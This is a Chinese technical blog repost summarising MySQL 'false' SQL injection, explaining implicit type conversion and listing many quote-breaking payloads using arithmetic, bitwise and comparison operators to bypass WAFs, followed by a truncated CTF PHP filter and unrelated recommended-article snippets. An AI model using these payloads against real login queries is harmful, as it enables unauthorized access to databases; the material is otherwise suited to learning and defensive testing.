MySQL False注入及技巧总结-程序员宅基地

技术标签: php  数据库  

0x01 False Injection


引子

首先我们常见的注入

  1. 1=1
  2. 0<1
  3. ''=''

这些都是基于1=1这样的值得比较的普通注入,下面来说说关于False注入,利用False我们可以绕过一些特定的WAF以及一些未来不确定的因素,其中有些姿势之前了解但是没有去深入,这次做一个归纳总结。

首先抛出这么一个问题

t0136299e81cc00bf38.jpg

为什么username=0会导致返回数据呢?

这就是一个基于false注入的例子,下面在举一个例子

t01b91b9ac5531e1f73.jpg

和上面是同一个表,但是为什么这里只返回了两组数据呢?说到这里不得不说一说有关于MYSQL的隐式类型转换。

MYSQL隐式类型转换

关于官方文档中是这么说的

The following rules describe how conversion occurs for comparison operations:

If one or both arguments are NULL, the result of the comparison is NULL, except for the NULL-safe <=> equality comparison operator. For NULL <=> NULL, the result is true. No conversion is needed.

If both arguments in a comparison operation are strings, they are compared as strings.

If both arguments are integers, they are compared as integers.

Hexadecimal values are treated as binary strings if not compared to a number.

If one of the arguments is a TIMESTAMP or DATETIME column and the other argument is a constant, the constant is converted to a timestamp before the comparison is performed. This is done to be more ODBC-friendly. Note that this is not done for the arguments to IN()! To be safe, always use complete datetime, date, or time strings when doing comparisons. For example, to achieve best results when using BETWEEN with date or time values, use CAST() to explicitly convert the values to the desired data type.

If one of the arguments is a decimal value, comparison depends on the other argument. The arguments are compared as decimal values if the other argument is a decimal or integer value, or as floating-point values if the other argument is a floating-point value.

In all other cases, the arguments are compared as floating-point (real) numbers.

其中大致是:

如果两个参数比较,有至少一个NULL,结果就是NULL,除了是用NULL<=>NULL 会返回1。不做类型转换

两个参数都是字符串,按照字符串比较。不做类型转换

两个参数都是整数,按照整数比较。不做类型转换

如果不与数字进行比较,则将十六进制值视为二进制字符串。

有一个参数是 TIMESTAMP 或 DATETIME,并且另外一个参数是常量,常量会被转换为时间戳

有一个参数是 decimal 类型,如果另外一个参数是 decimal 或者整数,会将整数转换为 decimal 后进行比较,如果另外一个参数是浮点数,则会把 decimal 转换为浮点数进行比较

所有其他情况下,两个参数都会被转换为浮点数再进行比较

最后那一句话很重要,说明如果我是字符串和数字比较,需要将字符串转为浮点数,这很明显会转换失败

在这里我试了试如果是字符串和数字比较:

t0191dcf58436a0ef72.png

可以看到在进行类型转换的时候,将字符串转换的时候会产生一个warning,转换的结果为0,但是如果字符串开头是数字的时候还是会从数字部分截断,转换为数字。

现在可以很好理解开头说的为什么username=0会导致返回数据了,就是因为这里会将数据转换为浮点数比较,但是字符串转换会出问题,从而返回0使得0=0从而为true得到结果,而后面passwd查询少一组数据的原因就是admin的passwd字段第一个字符是2 从而返回2 并非为0。

2、利用

实际中我们接触到的语句都是带有引号的,类似于where username=’+input+’ 这样的,这时候我们就需要做一些处理来构造false注入的利用点。

2.1、算术运算

加:+

  1. '+', 拼接的语句:where username=''+''

减:-

  1. '-' 拼接的语句:where username=''-''

乘:*

  1. '*' 拼接的语句:where username=''*''

除:/

  1. '/6# 拼接的语句:where username=''/6#

取余:%

  1. '%1# 拼接的语句:where username=''%1#

2.2、 位操作运算

我们可以使用当字符串和数字运算的时候类型转换的问题进行利用

我们可以用的位运算符有:

和运算:&

  1. '&0# 拼接的语句:where username=''&0#'

或运算:|

  1. '|0# 拼接的语句:where username=''|0#'

异或运算:^

  1. '^0# 拼接的语句:where username=''^0#'

移位操作:

  1. '<<0# '>>0#

位非(~):这里位非运算符由于是在表达式之前的

2.3、 比较运算符

安全等于:<=>

  1. '=0<=>1# 拼接的语句:where username=''=0<=>1#'

不等于<>(!=)

  1. '=0<>0# 拼接的语句:where username=''=0<>0#'

大小于>或<

  1. '>-1# 拼接的语句:where username=''>-1#

2.4、 其他

  1. '+1 is not null# 'in(-1,1)# 'not in(1,0)# 'like 1# 'REGEXP 1# 'BETWEEN 1 AND 1# 'div 1# 'xor 1# '=round(0,1)='1 '<>ifnull(1,2)='1

3、综合利用

false注入这种注入方式有的优势就是,在某些特定时候可以绕过WAF或者是一些其他的绕过。

这里举例一道题

  1. <?php include("config.php"); $conn ->query("set names utf8"); function randStr($lenth=32){ $strBase = "1234567890QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm"; $str = ""; while($lenth>0){ $str.=substr($strBase,rand(0,strlen($strBase)-1),1); $lenth --; } return $str; } if($install){ $sql = "create table `user` ( `id` int(10) unsigned NOT NULL PRIMARY KEY AUTO_INCREMENT , `username` varchar(30) NOT NULL, `passwd` varchar(32) NOT NULL, `role` varchar(30) NOT NULL )ENGINE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=latin1 COLLATE=latin1_general_ci "; if($conn->query($sql)){ $sql = "insert into `user`(`username`,`passwd`,`role`) values ('admin','".md5(randStr())."','admin')"; $conn -> query($sql); } } function filter($str){ $filter = "/ |\*|#|;|,|is|union|like|regexp|for|and|or|file|--|\||`|&|".urldecode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."|".urldecode('%a0')."/i"; if(preg_match($filter,$str)){ die("you can't input this illegal char!"); } return $str; } function show($username){ global $conn; $sql = "select role from `user` where username ='".$username."'"; $res = $conn

转载于:https://www.cnblogs.com/DeeLMind/p/6851615.html

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/dongfang1924/article/details/101613199

智能推荐

redis.conf文档解读-内存管理_redis # redis reclaims expired keys in two ways: u-程序员宅基地

文章浏览阅读144次。欢迎关注今日头条号、微信公众号、知乎号:仰望夜空一万次 随意聊聊并记录从小城市到上海工作生活的所思所想。不去记录,有些事情都好像没有发生过。阅读redis.conf文件,翻译后加强自己的理解。############################## MEMORY MANAGEMENT ################################# Set a memory usage limit to the specified amount of bytes.# Whe._redis # redis reclaims expired keys in two ways: upon access when those keys

NC客开资料-程序员宅基地

文章浏览阅读3.2k次,点赞2次,收藏17次。用友集团ERP客户化开发系列丛书NC客户化开发进阶培训教程V2.0版本教程是用友软件股份有限公司内部培训资料,只限于用友公司内部开发应用,任何人未经过事先书面许可不得扩大本教程的使用范围。同样,未经过用友公司书面许可,任何人不得以任何形式对本手册进行增删、改编、节选、翻译、翻印或仿制,违者必究!?本手册的著作权属于用友软件股份有限公司版权所有?翻制必究2009年1月第一...

PPAPI插件开发指南-程序员宅基地

文章浏览阅读1k次。转载请注明出处:http://www.cnblogs.com/fangkm/p/4401075.html前言插件一直是浏览器的重要组成部分,丰富浏览器的运行能力,实现一些HTML+JS实现不了本地应用(比如音视频、文件操作等)。早期广为熟知的是IE下的插件ActiveX,这是一项熟悉可能暴露年龄的技术,它基于COM规范,在IE占浏览器市场主流份额的时代,ActiveX可谓出尽了风头,但它并..._ppapi中postmessage调用

stm32cubemx 生成iar工程系统无法运行问题_cubemx生成的工程在iar上运行不起来-程序员宅基地

文章浏览阅读584次。stm32cubemx 生成iar工程系统无法运行问题stm32cubemx 生成的stm32f765工程无法正常运行,最后确认为操作系统不调度,处理方法如下:void SysTick_Handler(void){ /* USER CODE BEGIN SysTick_IRQn 0 */ SysTick->CTRL; HAL_IncTick(); if (xTaskGetSchedulerState() != taskSCHEDULER_NOT_STARTED) { /_cubemx生成的工程在iar上运行不起来

直方图均衡化的原理及C++实现_c++直方图均衡化原理-程序员宅基地

文章浏览阅读6.8k次。直方图均衡化的作用是图像增强。有两个问题比较难懂,一是为什么要选用累积分布函数,二是为什么使用累积分布函数处理后像素值会均匀分布。第一个问题。均衡化过程中,必须要保证两个条件:①像素无论怎么映射,一定要保证原来的大小关系不变,较亮的区域,依旧是较亮的,较暗依旧暗,只是对比度增大,绝对不能明暗颠倒;②如果是八位图像,那么像素映射函数的值域应在0和255之间的,不能越界。综合以上两个条_c++直方图均衡化原理

NFS和NIS服务器配置实例_nfs nis-程序员宅基地

文章浏览阅读764次。文章目录架设一台NFS服务器综合作业架设一台NFS服务器要求配置1、开放/nfs/shared目录,供所有用户查询资料2、开放/nfs/upload目录,为172.16.80.0/24网段主机可以上传目录,并将所有用户及所属组映射为nfs-upload,其UID和GID均为2103、将/home/tom目录仅共享给192.168.10.128这台主机,并只有用户tom可以完全访问该目录 /rhome/tom综合作业配置NIS服务集中管理客户端主机用户账号,要求客户端主机能够正常绑定服务器_nfs nis

随便推点

unity如何通过代码修改Text/button等UI的RGB数值来控制UI颜色_unity 修改button rgb-程序员宅基地

文章浏览阅读4.3k次,点赞20次,收藏15次。错误的做法public Text text;text.color=new color(100,100,100,100);这样运行以后,ui的颜色一般为白色,无论你设置的是什么数字!正确做法public Text text;text.color=new color(100/255f,100/255f,100/255,100/255f);格式是new color(你需要设置的数字/255f,你需要设置的数字/255f,你需要设置的数字/255f,你需要设置的数字/255f)Warning千_unity 修改button rgb

Python爬虫学习路线(非常详细)_爬虫学习路线u,2024年最新滴滴 hr面试-程序员宅基地

文章浏览阅读495次,点赞23次,收藏8次。我们在看视频学习的时候,不能光动眼动脑不动手,比较科学的学习方法是在理解之后运用它们,这时候练手项目就很适合了,只是里面的项目比较多,水平也是参差不齐,大家可以挑自己能做的项目去练练。这是我花了几天的时间去把Python所有方向的技术点做的整理,形成各个领域的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。这是一套 100% 原创的学习路线,它坚持实用主义,追求前沿技术,不但为初学者规划好了具体的学习步骤,还指明了常见的陷阱和困难。

git提交本地文件到远程仓库-程序员宅基地

文章浏览阅读99次。建立远程仓库进入需要的建仓库的文件夹,初始化本地仓库将所有变化提交到暂存区4. 提交代码到本地仓库5. 关联远程仓库6. 拉取远程仓库7.强制将本地分支推送到远程分支8.推送成功...

docker登录报WARNING! Using --password via the CLI is insecure. Use --password-stdin.-程序员宅基地

文章浏览阅读1.7w次,点赞5次,收藏3次。当使用docker login -u xxx -p xx时,报WARNING! Using --password via the CLI is insecure. Use --password-stdin.提示解决:1. 将密码写入到一个文件中,例如/etc/docker_passwd文件2.使用以下命令执行登录:cat /etc/docker_passwd | docker login --username 用户名--password-stdin..._warning! using --password via the cli is insecure. use --password-stdin.

博客更新说明_马鸿凯_新浪博客-程序员宅基地

文章浏览阅读73次。由于新浪博客书写保存问题,以后博客所在目录为CSDNMa_Hong_Kaihttps://blog.csdn.net/Ma_Hong_Kai/article/details/82734720(至于剩下的未写完的会在CSDN上更新) ...

同样的工作、同样的做需求,为什么他们能进阿里-程序员宅基地

文章浏览阅读117次。引言古人云:“活到老,学到老。”互联网算是最辛苦的行业之一,“加班”对工程师来说已是“家常便饭”,同时互联网技术又日新月异,很多工程师都疲于应付,叫苦不堪。以至于长期以来流传一个很广的误解:35岁是程序员工作的终点。如何在繁忙的工作中做好技术积累,构建个人核心竞争力,相信是很多工程师同行都在思考的问题。同样的工作、同样的做需求,为什么有的人只能在现有岗位上缓慢前行,而有的人却能进阿里,本文..._15096683069

推荐文章

热门文章

相关标签